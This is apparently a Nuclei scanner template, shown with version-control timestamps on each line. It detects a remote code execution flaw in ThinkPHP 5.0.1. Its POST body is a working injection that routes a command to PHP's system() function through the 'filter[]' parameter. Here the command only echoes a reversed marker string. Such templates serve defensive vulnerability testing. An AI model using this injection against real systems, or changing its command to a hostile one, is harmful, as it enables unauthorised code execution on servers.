2021-10-26 18:47:42 +00:00
|
|
|
id: thinkphp-501-rce
|
|
|
|
|
|
|
|
info:
|
2022-06-03 19:12:31 +00:00
|
|
|
name: ThinkPHP 5.0.1 - Remote Code Execution
|
2021-10-26 18:47:42 +00:00
|
|
|
author: lark-lab
|
|
|
|
severity: critical
|
2022-06-03 19:12:31 +00:00
|
|
|
description: ThinkPHP 5.0.1 allows remote unauthenticated attackers to execute arbitrary code via the 's' parameter.
|
2022-11-02 13:17:41 +00:00
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/46150
|
2022-06-03 19:12:31 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
2023-10-14 11:27:55 +00:00
|
|
|
cvss-score: 10
|
2022-06-03 19:12:31 +00:00
|
|
|
cwe-id: CWE-77
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: edb,thinkphp,rce
|
2021-10-26 18:47:42 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-10-26 18:47:42 +00:00
|
|
|
- method: POST
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/?s=index/index/index"
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2022-11-02 13:17:41 +00:00
|
|
|
body: "s=echo%20thinkphp%20%7C%20rev&_method=__construct&method&filter[]=system"
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2021-10-26 18:47:42 +00:00
|
|
|
headers:
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
2022-11-02 13:17:41 +00:00
|
|
|
part: body
|
2021-10-26 18:47:42 +00:00
|
|
|
words:
|
2022-11-02 13:17:41 +00:00
|
|
|
- "phpkniht"
|
2021-10-26 18:47:42 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4b0a00483046022100e002ab433ca9be9195e4c58e389fca725d91320aa29fa266dcda7b7c602bec840221009de540c2dcea0a1862b7b7e078cf91229d4afd1926739b285fc2220c83eddc0d:922c64590222798bb761d5b6d8e72950
|